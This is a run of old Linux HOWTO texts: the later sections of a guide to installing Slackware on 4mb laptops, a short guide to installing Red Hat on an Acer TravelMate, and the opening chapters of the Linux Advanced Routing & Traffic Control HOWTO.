This procedure requires at least two Linux Native partitions in addition to a Swap partition. Since one of the ext2 partitions will be in use as temporary root during the installation it will not be available as a target partition and so should be small - though no smaller than 5mb. It makes sense to create for this a partition that you will re-use as /home after installation is complete. Another option would be to re-create it as a DOS partition to give you a dual boot laptop.

How complex a layout?

There isn't room to get too clever here. There is an argument for having a single ext2 partition and using a swap file to avoid wasting space but I would strongly urge creating a separate partition for /usr. If you have only one partition and something goes wrong with it you may well be faced with a complete re-installation. Separating /usr and having a small partition for / makes disaster recovery a more likely prospect. On both machines I created 4 partitions in total:

  1. A swap partition -- 16mb on the T1910, 20 on the Aero (I'm more likely to upgrade the memory on the Aero).
  2. /home (temporary root during installation) -- 10mb
  3. / -- 40mb on the T1910, 30mb on the Aero.
  4. /usr -- All the remainder.

In addition, the Aero uses hda3 for a 2mb DOS partition containing configuration utilities. See the Aero FAQs for details.

3.5 Which components to install?

The full glibc libraries alone would nearly fill the hard disks so there's no question of building a development machine. It looks as if a minimal X installation can be squeezed in but I'm sure it would crawl and I don't want it anyway. I decide to install the following (for a full listing see Appendix A):

  • The core Linux utilities
  • Assorted text apps from the ap1 file set:
  • Info/FAQ/HOWTO documentation
  • Basic networking utilities
  • The BSD games

This selection matches the kind of machine described in What use is a small laptop?.


4mb Laptop HOWTO: The Pre-installation Procedure

 Next Previous Contents

4. The Pre-installation Procedure

This section covers creating a swap partition and a temporary root partition on the laptop's hard disk. Nothing here is Slackware-specific.

4.1 muLinux Preparation

If you are going to use only muLinux to for this procedure then you need to prepare a disk with mkfs.ext2 and supporting libraries on it. From the muLinux setup files uncompress USR.bz2 and mount it as a loop file-system. If you are in the same directory as the USR file and you want to mount it as /tmpusr then the sequence for this is:

losetup /dev/loop0 USR
mount -t ext2 /dev/loop0 /tmpusr

>From there copy mkfs.ext2, libext2fs.so.2, libcomerr.so.2 and libuuid.so.1 onto a floppy.

4.2 Prepare the installation root files.

Select the root disk you want - I used the color one with no problems but the text one would be slightly faster in these low memory conditions. Uncompress the image and mount it as a loop device. The procedure is the same as in the above section but the root disk image is a minix file-system.

Next you need 3 1722 floppies or 4 1440 floppies with ext2 file-systems - it's better with 1722 disks as you don't need to split the /lib directory. Give one floppy twice the default number of inodes so it can take the /dev directory. That's 432 nodes for a 1722 disk or 368 for a 1440. If you specify /dev/fd0H1722 or /dev/fd0H1440 then you don't have to give any other parameters so for a 1722 disk do

mke2fs -N 432 /dev/fd0H1722

If you have mounted the root image as /tmproot and the destination floppy as /floppy then cd to /tmproot. To copy the dev directory the command is

cp -dpPR dev/* /floppy/

For the other directories with files in (bin, etc, lib, mnt, sbin, usr, var) it's

cp -dpPr directoryname/* /floppy/

Don't bother with the empty ones (floppy, proc, root, tag, tmp) because you can simply create them on the laptop. boot and cdrom are soft links pointing to /mnt/boot and /var/log/mount respectively - you can also create them on the laptop.

4.3 Create the partitions.

Mini-Linuces and ext2 file-systems - an important note.

To save space, small-Linux designers sometimes use older libc5 librariesand where they do use up-to-date libc6 they leave out may of the options compiled into full distributions, including some optional features of the ext2 file-system. This has two consequences:

  • Trying to mount ext2 disks formatted using a modern Linux system can generate error messages if you mount them read-write. Be sure to use the -r option when mounting floppies on the laptops.
  • It is not wise to use the mkfs.ext2 that comes with the mini-Linux to create file-systems on the partitions into which SlackWare will be installed. It should only be used to create the file-system on the temporary root partition. Once installation is complete this partition can be reformatted and re-used.

Procedure

If installing on an Aero, make sure the floppy drive is inserted before switching on and do not remove it.

  1. Boot from the mini-Linux
    With muLinux, wait until the boot-process complains about the small memory space and offers the option of dropping into a shell - take that option and work in the limited single-user mode it gives you.
  2. Use fdisk to create the partitions.
  3. Reboot on leaving fdisk (with muLinux you may simply have to turn off and on again at this point).
  4. Use mkswap on the swap partition and then activate it (this will make muLinux much happier).
  5. If using muLinux then mount the extra floppy created in muLinux Preparation, copy mkfs.ext2 into /bin and the libraries into /lib.
  6. Use mkfs.ext2 to create the file-system on the temporary root partition.
  7. If you have been using SmallLinux, shut down and reboot using muLinux. Don't forget to activate the swap partition again.
  8. muLinux will have mounted the boot floppy on /startup - unmount it to free the floppy drive.
  9. Now mount the temporary root partition and copy onto it the contents of the disks you created in Prepare the installation root files. Do not be alarmed by the error messages: if, for example, you copy usr from the floppy to the temporary root partition by typing "cp -dpPr usr/* /tmproot/" then you'll get the error message "cp: sr: no such file or directory". Ignore this, nothing is wrong.
  10. cd to the temporary root partition and create the empty folders (floppy, proc, root, tag, tmp) and the soft links boot (pointing to mnt/boot) and cdrom (to var/log/mount).
  11. Unmount the temporary root partition - this syncs the disk.
  12. You can simply turn off the machine now.


4mb Laptop HOWTO: The Installation

 Next Previous Contents

5. The Installation

This section does not give much detail on the Slackware installation process. In fact, it assumes you are familiar with it. Instead, this section concentrates on those areas where special care or unusual steps are required.

5.1 Boot the machine

Make a boot-disk from one of the images. I recommend you use bareapm.i on a laptop and bare.i on a desktop - unless you have a parallel-port IDE device (pportide.i). Boot the laptop from it. When the boot: prompt appears, type "mount root=/dev/hdax" where x is the temporary root partition. Log in as root. Then activate the swap partition.

5.2 Floppy/Parport CD-ROM Install

In both these cases, no extra work should be necessary to access the installation media. Simply run setup.

5.3 Network/PCMCIA Install

Slackware has supplementary disks with tools for these and instructions for their use greet you when you log in. Use the network disk on a desktop PC with ethernet card or a laptop with pocket ethernet adaptor. Use the PCMCIA disk for PCMCIA install. Once your network adapter/PCMCIA socket has been identified, run setup.

PCMCIA install on the Aero

The Slackware installation process runs the PCMCIA drivers from the supplementary floppy. Because the Aero has a PCMCIA floppy drive, this means you can't remove the floppy drive to insert the PCMCIA CD-ROM/ethernet card. The solution is simple: the Slackware PCMCIA setup routine creates /pcmcia and mounts the supplementary disk there, so

  1. Create the /pcmcia directory yourself
  2. Mount the supplementary disk to /mnt. Be sure to specify the type as vfat - if you don't, it'll be incorrectly identified as UMSDOS and long filenames will be mis-copied.
  3. cd /mnt;cp -dpPr ./* /pcmcia/
  4. Unmount the floppy.
  5. Run pcmcia. When the script complains that there is no disk in the drive simply hit Enter: Card Sevices will start. Connect your PCMCIA device and hit Enter.
  6. Run setup

5.4 Set-up

The Slackware set-up program is straightforward. Start with the Keymap section and it'll take you forward step by step.

AddSwap

You do need to do this step so it can put the correct entry in fstab but make sure it doesn't run mkswap - you're already using the partition.

Target

In this section Slackware asks which partitions will be mounted as what and then formats them if you want.

The safest bet here is to leave your temporary root partition out altogether and just edit fstab later once you know you don't need it for it's temporary purpose anymore. If you're going to reuse it as /home then it is OK to designate it as /home - obviously, don't format it now! If you intend to re-use it as a part of the directory structure that will have files placed in it during installation (/var, for example) then you absolutely must ignore it in this step: after the installation is complete you can move the files across.

Select

Here you choose which general categories of software to install. I chose as follows:

  • A - Base Linux System
  • AP -Non-X applications
  • F - FAQs and HOWTOs
  • N - Networking tools and apps
  • Y - BSD games collection

I wouldn't recommend adding to this - if anything, prune it back to A, AP and N. That gives you a core Linux setup to which you can add according to your needs.

Install

Choose the Expert installation method. This allows you to select/reject for installation individual packages from the categories you chose in the Selection step. Appendix A goes through the precise choices I made .

This part takes about 3 hours for a PCMCIA network install. You are prompted to select individual packages before the installation of each category, so you can't just walk away and leave it to run through.

Configure

Once the packages are all installed, you are prompted to do final configuration for your machine. This covers areas like networking, Lilo, selecting a kernel etc. Some points to look out for:

  • If you did a PCMCIA install, don't accept the offer to configure your network with netconfig. This will ruin your pcmcia networking. Wait until you've rebooted and then edit /etc/pcmcia/network.opts
  • This is the point where you should install a kernel. For a laptop the bareapm kernel is best, for a desktop simply the bare one.

Exit

The set-up process is finished but you are not. Do not reboot yet! There is another vital step to complete.

5.5 Pre-reboot Configuration

On a normal machine you would simply reboot once the installation is complete. If you do that here you may have to wait 6 or 8 hours for a login prompt to appear and another half hour to get to the command prompt. Before rebooting you need to change or remove the elements that cause this slowdown. This involves editing config files so you need to be familiar with vi, ed or sed.

At this stage your future root partition is still mounted as /mnt so remember to at that to the paths given here.

/etc/passwd

Edit this to change root's login shell to ash. ash really is the only practical login shell for 4mb RAM.

/etc/rc.d/rc.modules

Comment out the line 'depmod -a'. You only need to update module dependencies if you have changed your module configuration (recompiled or added new ones, for example). On a standard system it only takes a second or two and so it doesn't matter that it's needlessly performed each time. On a 4mb laptop it can take as much as 8 hours. When you do change your module set-up you can simply uncomment this line and reboot. Alternatively, change this part of the script so that it will only run if you pass a parameter at the boot-prompt. For example:

if [ "NEWMODULES" == "1" ] ; then
    depmod -a
fi
/etc/rc.d/rc.inet2

This script starts network services like nfs. You probably don't need these and certainly not at start-up. Rename this script to something like RC.inet2 - that will stop it from being run at boot and you can run it manually when you need it.

/etc/rc.d/rc.pcmcia

On the Aero you should also rename this script, otherwise you'll lose the use of your floppy drive on start-up. It's worth considering for any other small laptop as well - you can always run it manually before inserting a card.

Once these changes have been made, you are ready to reboot.

5.6 Post-reboot Configuration.

If you made the changes recommended in section Pre-reboot configuration then the boot process will only take a few minutes, as opposed to several hours. Login as root and check that everything is functioning properly.

Re-use the temporary root.

Once you are sure the installation is solid you can reclaim the partition you used as the temporary root. Don't just delete the contents, reformat the filesystem. Remember, the mke2fs that came with the mini-Linux is out of date.

If you intend to re-use this partition as /home, remember not to create any user accounts until you have completed this step.

Other configuration tweaks.

In such a small RAM space, every little helps. Go through SlackWare's BSD-style init scripts in /etc/rc.d/ and comment out anything you don't need. Have a look at Todd Burgess' Small Memory mini-HOWTO http://eddie.cis.uoguelph.ca/~tburgess/ for more ideas.


4mb Laptop HOWTO: Conclusion

 Next Previous Contents

6. Conclusion

That's it all done. You now have a laptop with the core utilities in place and 50 to 70mb spare for whichever extras you need. Don't mess it up because it's a lot easier to modify an existing installation on such cramped old machines than it is to start from scratch again.


4mb Laptop HOWTO: Appendix A:

 Next Previous Contents

7. Appendix A:

This appendix lists which packages (if any) from each category might be included in the installation and gives my reasons for including or omitting them. I made no attempt to install X so those categories are ignored.

Although this appendix refers specifically to the Slackware distribution it can be used as a guide with any of the major distributions.

7.1 A - Base Linux System

Most of the packages in this category are essential, even those that aren't listed as required by the Slackware set-up program. Because of this, I've listed those packages that I felt could reasonably be left out rather than all the non-compulsory packages that I installed.

Packages considered for omission:

kernels (ide, scsi etc.)

There's no need to install any of these, you get a chance to select a kernel at the very end of the installation process.

aoutlibs

This is only needed if you intend to run executables compiled in the old a.out format. Omitting it saves a lot of space. Omitted.

bash1

Bash2 (simply called bash in the Slackware package list) is required for the Slackware configuration scripts but there are a lot of scripts that need bash1. I included it.

getty

agetty is Slackware's default getty, this package contains getty and uugetty as alternatives. Only include it if you need their extra functionality. Omitted.

gpm

Personally, I find this very useful at the console (and the Aero's trackball is very handy) but it's not essential. Included.

icbs2

Not needed. Omitted.

isapnp

No use here. Omitted.

loadlin

Not needed with the setup described here - unless your old laptop has some peculiarity that requires a DOS driver to initialise some of its devices. Omitted.

lpr

You could argue that you can do your printing from whichever desktop is nearest but I always find it useful to be have printing capabilities on a laptop. Included.

minicom

Not a compulsory include but I want the laptop to do dial-up connection. Very handy. Included.

pciutils

Not needed on these old laptops. Omitted.

quota

Not vital but it can be used to set limits that stop you from overflowing the limited space available in these laptops. Included.

tcsh

I recommend using ash as your login shell. Only include this if you need it for scripts. Omitted.

umsprogs

You can leave this out and still be able to access UMSDOS floppies. Omitted.

scsimods

No use on these laptops. Omitted.

sysklogd

This can interfere with apmd but it does provide essential information. Included.

Packages installed:

aaa_base, bash, bash1, bin, bzip2, cpio, cxxlibs, devs, e2fsprog, elflibs, elvis, etc, fileutils, find, floppy, fsmods, glibcso, gpm, grep, gzip, hdsetup, infozip, kbd, ldso, less, lilo, man, modules, modutils, pcmcia, sh_utils, shadow, sudo, sysklogd, sysvinit, tar, txtutils, util, zoneinfo

Combined size: 33.4

7.2 AP - Non-X Applications

None of these packages are, strictly speaking, essential - although ash is really required for sensible operation in 4mb. Leaving them all out could save the vital space for you to squeeze in your favourite app. I selected a minimal set of tools that I don't like to do without.

Packages considered for inclusion:

apsfilter

Not much point having printing if you can only print text files. Included.

ash

This is the shell for low-memory machines, only taking up 60k. Use it as the default login shell unless you like waiting 10 seconds for the command prompt to reappear each time. Included.

editors (jed, joe jove vim)

elvis is the default Slackware editor and a required part of the installation. If, like me, you are a vi fan then that's all you need: installing vim would be wasteful duplication given the space restrictions. If you can't stand vi and need a more DOS-style editor then joe is small. Emacs fans with some self-discipline might consider jed or jove rather than pigging out on the full-size beast. Omitted.

enscript

If you already have apsfilter you don't really need this. Omitted.

ghostscript

Including the fonts this comes to about 7.5mb. One to leave until after the core installation, then consider if you need it. Omitted.

groff

Needed for the man pages. Included.

ispell

Not an essential butvery useful to the overenthusiastic touch-typist. included.

manpages

Included!

mc

Slackware offers a lightweight compilation of mc but I'm happier at the command prompt. Omitted.

quota

Not necessary on what is not a multi-user machine but you may,like me, find it handy to stop you from forgetfully wasting the little space you have. Included.

rpm

Don't bother. If you do have an rpm that you would like to squeeze in, use rpm2tgz on a desktop machine to turn it into a tgz package - then you can use the standard Slackware installation tools. Omitted.

sc

A useful little spreadsheet packed very small. Included.

sudo

Not essential but I find it useful here: it's a cramped environment and an awkward reinstall if you mess things up - sudo helps create user profiles with the power to do the things you need without carelessly wiping your disk. Included.

texinfo

Info documentation. Included.

zsh

Leave this out unless you're addicted to it or have scripts that must use it. Omitted.

Packages installed:

apsfilter,ash, diff, groff, ispell, manpages, quota, sc, sudo, texinfo

Combined size: 8.1 mb

7.3 D - Development Tools

You could fit C or C++ into this space but the glibc library package is too big, so some pruning would be needed. Do the main installation first and then try it.

There is room for Perl and Python.

Packages installed:

None

7.4 E - Emacs

I don't use Emacs and so saved myself some space. On the other hand, if you are an Emacs fan then you probably use it for e-mail, news and coding so you'll claim some of that space back by omitting other packages.

If you do want Emacs it might be an idea to leave this out while doing the core installation. Once the laptop is up you can try fitting in what you want/need at your leisure.

Packages installed:

None.

7.5 F - FAQs and HOWTOs

If you know it all you don't need these. I installed the lot.

Packages installed:

howto, manyfaqs, mini

Combined size: 12.4 mb

7.6 K - Kernel Source

You can just squeeze it in. If all you want to do is read the source, go ahead.

Packages Installed:

None

7.7 N - Networking Tools and Apps

These packages were selected to provide core networking tools, dial-up capability, e-mail, web and news.

Packages installed:

dip, elm, fetchmail, mailx, lynx, netmods, netpipes, ppp, procmail, trn, tcpip1, tcpip2, uucp, wget

Combined size: 15.1 mb

7.8 Tetex

Another set that will barely squeeze in. I can't say how it would run in the space available.

Packages installed:

None

7.9 Y - BSD Games Collection

I'm addicted to several of these. If I really need that last 5mb they can go.

Packages installed:

bsdgames

Combined size: 5.4 mb

7.10 End result

In total the installed packages plus kernel took up about 75mb of disk space of which 19.5mb was in the root partition and 55.5 in /usr. On the Aero that left 39mb in /usr, 74mb on the T1910.


4mb Laptop HOWTO: Appendix B: Resources relevant to this HOWTO

 Next Previous Contents

8. Appendix B: Resources relevant to this HOWTO

Linux Laptop HOWTO

http://www.snafu.de/~wehe/Laptop-HOWTO.html

Small Memory mini-HOWTO

http://eddie.cis.uoguelph.ca/~tburgess/

Linux on Laptops

http://www.cs.utexas.edu/users/kharker/linux-laptop/ HOWTOs and installation FAQs for a wide range of machines.

Linux T1910 FAQ

http://members.tripod.com/~Cyberpvnk/linux.htm

Linux Contura Aero FAQ

http://domen.uninett.no/~hta/linux/aero-faq.html

Contura Aero FAQ

http://www.reed.edu/~pwilk/aero/aero.faq Comprehensive FAQ on all aspects of the Contura Aero compiled by the moderators of the Aero mailing list. Good Linux section .


Linux Installation on an Acer LapTop HOWTO

Harish Thampi S, harish.thampi@wipro.com

1.0, 2001-01-08

This document describes how to install Linux on a Acer LapTop and Various issues related to this. The reader is expected to have some knowledge about Linux Installation.

1. Introduction

  • 1.1 Preface
  • 1.2 Copyright
  • 1.3 Disclaimer
  • 1.4 Feedback

2. The Procedure

  • 2.1 Introduction
  • 2.2 Preparing the Disk
  • 2.3 Installation
  • 2.4 Booting the Machine
  • 2.5 Configuring X
  • 2.6 Linmodem Source

3. Conclusion

  • 3.1 Useful Links


Linux Installation on an Acer LapTop HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Preface

This is version 1.0 of this document. We faced a lot of problems while installing Linux on a Acer LapTop. We thought this information might be useful to the Linux community.

This information is intended for Linux on the Intel platform. Much of this information may be applicable to Linux on other processors, but We have no first-hand experience or information about this.

This document may be outdated or some other document on this topic may be available. Please check the the Linux Documentation Project homepage to see if any other documents are available on this.

1.2 Copyright

Copyright is a source of much and continuous debate on the LDP mailing list. For more in depth information please consult the Manifesto at the LinuxDoc site. The purpose of having a license is to allow appropriate distribution. You can use any license that meets the Manifesto. What follows is a boilerplate licence.

Copyright (c) 2001 by Harish Thampi S.

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be forwarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  • Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.
  • License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.
  • Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

1.3 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.4 Feedback

We welcome any feedback, good or bad, on the content of this document. We have done our best to ensure that the instructions and information herein are accurate and reliable. Please let us know if you find any errors or omissions.

Send comments, corrections and questions to the author at harish.thampi@wipro.com.


Linux Installation on an Acer LapTop HOWTO: The Procedure

 Next Previous Contents

2. The Procedure

2.1 Introduction

This document for installing Linux on a LapTop (Acer TravelMate 345T) It comprises of the general difficulties you can run into while trying an install on an Acer TravelMate 345T. I have a hand on experience only on Acer TravelMate 345T. This may be applicable to other Models also.

This document assumes some basic familiarity with concepts of Linux system administration. For example, you should know about directories and filesystems.

2.2 Preparing the Disk

The document specifically tells about the installation of Linux on a Laptop along with Windows 98.

First you should partition the disk according to your choice. You may face problems when you want a dual boot machine. That is you have Windows on /dev/hda1 and Linux '/' on /dev/hda2

I faced some strange problem here. Initially I had a 5.3 GB disk on which Windows 98 was installed and drive c: constituted the entire 5.3GB.

I wanted to repartition the disk to put Linux on to it. So I booted with a RedHat CD and partitioned the disk as follows.

  /dev/hda1   3 GB    For Windows 98
  /dev/hda2   200 MB  For Linux /
  /dev/hda3   128 MB  For Swap
  /dev/hda4   2 GB    Extended
  /dev/hda5   1GB     /usr
  /dev/hda6   1GB     /home1

After installation of Linux, I found that Windows 98 was still running fine on /dev/hda1. Even more interesting fact is that Windows is able to see that entire 5.3 GB of the disk. I doubted that this could lead to corruption of data and had no other way except formatting and start again. Any feedback on this issue is welcome. Any links or references are also welcome.

Note: When you list the partitions with a dos fdisk, the extended partition made with Linux fdisk is shown as an EXT DOS partition. Later I changed the type of Extended partition to Extended Linux. Still Windows was able to see the entire 5.3 GB of the disk.

I have put /dev/hda2 as the '/' partition and put /dev/hda5 as '/usr'. This approach will help in separating the files that change frequently from those that doesn't. This is also useful for backup purposes.

2.3 Installation

Installation of RedHat Linux on a Laptop is pretty easy. This is almost like installing Linux on a PC. The only problem we faced was that it was not possible to install Linux from the RedHat CD in any mode other than 'text mode'. Trying to install Linux on any other mode other than 'text' will cause the installation to hang.

2.4 Booting the Machine

The Acer LapTop had some PCMICA devices. While booting the LapTop, the machine would hang looking for more pcmcia devices. If you face this problem, you need to reboot the machine with the boot floppy and edit the file /etc/sysconfig/pcmcia and set PCIC_OPTS="do_scan=0". The next time you reboot the machine, it should boot up with the newly installed Linux.

2.5 Configuring X

This is problem for which I was not able to find an answer. After booting up the machine, I tried to configure X using xf86config.

The Acer LapTop had an 800x600 LCD panel. I had selected S-VGA and 800x600 resolution. When I tried starting X, I found that the mode is being taken as 320x200. The boot message says that it is the built-in mode. Any Pointers to this are welcome. The output of SuperProbe was:

  First video: Super-VGA
        Chipset: Trident (chipset unknown) (PCI Probed)
                Signature data: 95251023 (please report)
        Memory:  2048 Kbytes
        RAMDAC:  Sierra SC1148{2,3,4} 15-bit or SC1148{5,7,9} 15/16-bit HiColor
                 (with 6-bit wide lookup tables (or in 6-bit mode))

2.6 Linmodem Source

The Laptop had a softmodem (Linmodem). The driver for this modem is not given in the RedHat distribution. Lucent is providing the driver for this modem in 'object' form. The source for this driver is not available. It will be good if the Linux community can provide the source for the Linmodem. The difficulty with the Lucent Linmodem driver is that, the driver is written for Linux 2.2.12 Kernel. This is one of the reason why the source code for Linmodem would be considered a great contribution. I have listed some links that could proove to be useful in this venture.


Linux Installation on an Acer LapTop HOWTO: Conclusion

 Next Previous Contents

3. Conclusion

This document has covered the problems faced during the installation of Linux on a Laptop. The document may not be complete any feedback or contribution towards this will be appreciated. The main area on which the Linux community can work is in solving out problems in configuring X and getting the source code for the Linmodem driver.

Please mail your contributions for this document to harish.thampi@wipro.com so that I can come up with the next version of this document.

3.1 Useful Links

  • http://www.linuxworld.com/linuxworld/lw-1999-08/lw-08-linmodem.html
  • http://www.linmodems.org/
  • http://www.close.u-net.com/
  • http://linuxdoc.org/HOWTO/


Linux Advanced Routing & Traffic Control HOWTO

Netherlabs BV (bert hubert <bert.hubert@netherlabs.nl>)
Gregory Maxwell <greg@linuxpower.cx>
Remco van Mook <remco@virtu.nl>
Martijn van Oosterhout <kleptog@cupid.suninternet.com>
Paul B Schroeder <paulsch@us.ibm.com>
Jasper Spaans <jasper@spaans.ds9a.nl>
howto@ds9a.nl

v0.9.0 $Date: 2001/12/06 15:44:33 $

A very hands-on approach to iproute2, traffic shaping and a bit of netfilter

1. Dedication

2. Introduction

  • 2.1 Disclaimer & License
  • 2.2 Prior knowledge
  • 2.3 What Linux can do for you
  • 2.4 Housekeeping notes
  • 2.5 Access, CVS & submitting updates
  • 2.6 Mailing list
  • 2.7 Layout of this document

3. Introduction to iproute2

  • 3.1 Why iproute2?
  • 3.2 iproute2 tour
  • 3.3 Prerequisites
  • 3.4 Exploring your current configuration
  • 3.5 ARP

4. Rules - routing policy database

  • 4.1 Simple source routing

5. GRE and other tunnels

  • 5.1 A few general remarks about tunnels:
  • 5.2 IP in IP tunneling
  • 5.3 GRE tunneling
  • 5.4 Userland tunnels

6. IPv6 tunneling with Cisco and/or 6bone

  • 6.1 IPv6 Tunneling

7. IPsec: secure IP over the internet

8. Multicast routing

9. Queueing Disciplines for Bandwidth Management

  • 9.1 Queues and Queueing Disciplines explained
  • 9.2 Simple, classless Queueing Disciplines
  • 9.3 Advice for when to use which queue
  • 9.4 Classful Queueing Disciplines
  • 9.5 Classifying packets with filters

10. Loadsharing over multiple interfaces

  • 10.1 Caveats

11. Netfilter & iproute - marking packets

12. Advanced filters for (re-)classifying packets

  • 12.1 The "u32" classifier
  • 12.2 The "route" classifier
  • 12.3 Policing filters
  • 12.4 Hashing filters for very fast massive filtering

13. Kernel network parameters

  • 13.1 Reverse Path Filtering
  • 13.2 Obscure settings

14. Advanced & less common queueing disciplines

  • 14.1 bfifo/pfifo
  • 14.2 Clark-Shenker-Zhang algorithm (CSZ)
  • 14.3 DSMARK
  • 14.4 Ingress policer qdisc
  • 14.5 Random Early Detection (RED)
  • 14.6 Generic Random Early Detection
  • 14.7 VC/ATM emulation
  • 14.8 Weighted Round Robin (WRR)

15. Cookbook

  • 15.1 Running multiple sites with different SLAs
  • 15.2 Protecting your host from SYN floods
  • 15.3 Ratelimit ICMP to prevent dDoS
  • 15.4 Prioritizing interactive traffic
  • 15.5 Transparent web-caching using netfilter, iproute2, ipchains and squid
  • 15.6 Circumventing Path MTU Discovery issues with per route MTU settings
  • 15.7 Circumventing Path MTU Discovery issues with MSS Clamping (for ADSL,

16. Building bridges, and pseudo-bridges with Proxy ARP

  • 16.1 State of bridging and iptables
  • 16.2 Bridging and shaping
  • 16.3 Pseudo-bridges with Proxy-ARP

17. Dynamic routing - OSPF and BGP

18. Other possibilities

19. Further reading

20. Acknowledgements


Linux Advanced Routing & Traffic Control HOWTO: Dedication

 Next Previous Contents

1. Dedication

This document is dedicated to lots of people, and is my attempt to do something back. To list but a few:

  • Rusty Russell
  • Alexey N. Kuznetsov
  • The good folks from Google
  • The staff of Casema Internet


Linux Advanced Routing & Traffic Control HOWTO: Introduction

 Next Previous Contents

2. Introduction

Welcome, gentle reader.

This document hopes to enlighten you on how to do more with Linux 2.2/2.4 routing. Unbeknownst to most users, you already run tools which allow you to do spectacular things. Commands like 'route' and 'ifconfig' are actually very thin wrappers for the very powerful iproute2 infrastructure

I hope that this HOWTO will become as readable as the ones by Rusty Russell of (amongst other things) netfilter fame.

You can always reach us by writing to the HOWTO team. However, please consider posting to the mailing list (see the relevant section) if you have questions which are not directly related to this HOWTO.

Before losing your way in this HOWTO, if all you want to do is simple traffic shaping, skip everything and head to the 'Other possibilties' chapter, and read about CBQ.init.

2.1 Disclaimer & License

This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

In short, if your STM-64 backbone breaks down and distributes pornography to your most esteemed customers - it's never our fault. Sorry.

Copyright (c) 2001 by bert hubert, Gregory Maxwell, Martijn van Oosterhout, Remco can Mook, Paul B. Schroeder and others. This material may be distributed only subject to the terms and conditions set forth in the Open Publication License, v1.0 or later (the latest version is presently available at http://www.opencontent.org/openpub/).

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be fowarded to the document maintainer.

It is also requested that if you publish this HOWTO in hardcopy that you send the authors some samples for 'review purposes' :-)

2.2 Prior knowledge

As the title implies, this is the 'Advanced' HOWTO. While by no means rocket science, some prior knowledge is assumed.

Here are some other references which might help learn you more:

Rusty Russell's networking-concepts-HOWTO

Very nice introduction, explaining what a network is, and how it is connected to other networks

Linux Networking-HOWTO (Previously the Net-3 HOWTO)

Great stuff, although very verbose. It learns you a lot of stuff that's already configured if you are able to connect to the internet. Should be located in /usr/doc/HOWTO/NET3-4-HOWTO.txt but can be also be found online

2.3 What Linux can do for you

A small list of things that are possible:

  • Throttle bandwidth for certain computers
  • Throttle bandwidth TO certain computers
  • Help you to fairly share your bandwidth
  • Protect your network from DoS attacks
  • Protect the internet from your customers
  • Multiplex several servers as one, for load balancing or enhanced availability
  • Restrict access to your computers
  • Limit access of your users to other hosts
  • Do routing based on user id (yes!), MAC address, source IP address, port, type of service, time of day or content

Currently, not many people are using these advanced features. This is for several reasons. While the provided documentation is verbose, it is not very hands-on. Traffic control is almost undocumented.

2.4 Housekeeping notes

There are several things which should be noted about this document. While I wrote most of it, I really don't want it to stay that way. I am a strong believer in Open Source, so I encourage you to send feedback, updates, patches etcetera. Do not hesitate to inform me of typos or plain old errors. If my English sounds somewhat wooden, please realise that I'm not a native speaker. Feel free to send suggestions.

If you feel to you are better qualified to maintain a section, or think that you can author and maintain new sections, you are welcome to do so. The SGML of this HOWTO is available via CVS, I very much envision more people working on it.

In aid of this, you will find lots of FIXME notices. Patches are always welcome! Wherever you find a FIXME, you should know that you are treading in unknown territory. This is not to say that there are no errors elsewhere, but be extra careful. If you have validated something, please let us know so we can remove the FIXME notice.

About this HOWTO, I will take some liberties along the road. For example, I postulate a 10Mbit internet connection, while I know full well that those are not very common.

2.5 Access, CVS & submitting updates

The canonical location for the HOWTO is here.

We now have anonymous CVS access available to the world at large. This is good in a number of ways. You can easily upgrade to newer versions of this HOWTO and submitting patches is no work at all.

Furthermore, it allows the authors to work on the source independently, which is good too.

$ export CVSROOT=:pserver:anon@outpost.ds9a.nl:/var/cvsroot
$ cvs login
CVS password: [enter 'cvs' (without 's)]
$ cvs co 2.4routing
cvs server: Updating 2.4routing
U 2.4routing/2.4routing.sgml

If you spot an error, or want to add something, just fix it locally, and run cvs diff -u, and send the result off to us.

A Makefile is supplied which should help you create postscript, dvi, pdf, html and plain text. You may need to install sgml-tools, ghostscript and tetex to get all formats.

2.6 Mailing list

The authors receive an increasing amount of mail about this HOWTO. Because of the clear interest of the community, it has been decided to start a mailinglist where people can talk to each other about Advanced Routing and Traffic Control. You can subscribe to the list here.

It should be pointed out that the authors are very hesitant of answering questions not asked on the list. We would like the archive of the list to become some kind of knowledge base. If you have a question, please search the archive, and then post to the mailinglist.

2.7 Layout of this document

We will be doing interesting stuff almost immediately, which also means that there will initially be parts that are explained incompletely or are not perfect. Please gloss over these parts and assume that all will become clear.

Routing and filtering are two distinct things. Filtering is documented very well by Rusty's HOWTOs, available here:

  • Rusty's Remarkably Unreliable Guides

We will be focusing mostly on what is possible by combining netfilter and iproute2.


Linux Advanced Routing & Traffic Control HOWTO: Introduction to iproute2

 Next Previous Contents

3. Introduction to iproute2

3.1 Why iproute2?

Most Linux distributions, and most UNIX's, currently use the venerable 'arp', 'ifconfig' and 'route' commands. While these tools work, they show some unexpected behaviour under Linux 2.2 and up. For example, GRE tunnels are an integral part of routing these days, but require completely different tools.

With iproute2, tunnels are an integral part of the tool set.

The 2.2 and above Linux kernels include a completely redesigned network subsystem. This new networking code brings Linux performance and a feature set with little competition in the general OS arena. In fact, the new routing, filtering, and classifying code is more featureful than the one provided by many dedicated routers and firewalls and traffic shaping products.

As new networking concepts have been invented, people have found ways to plaster them on top of the existing framework in existing OSes. This constant layering of cruft has lead to networking code that is filled with strange behaviour, much like most human languages. In the past, Linux emulated SunOS's handling of many of these things, which was not ideal.

This new framework makes it possible to clearly express features previously beyond Linux's reach.

3.2 iproute2 tour

Linux has a sophisticated system for bandwidth provisioning called Traffic Control. This system supports various method for classifying, prioritizing, sharing, and limiting both inbound and outbound traffic.

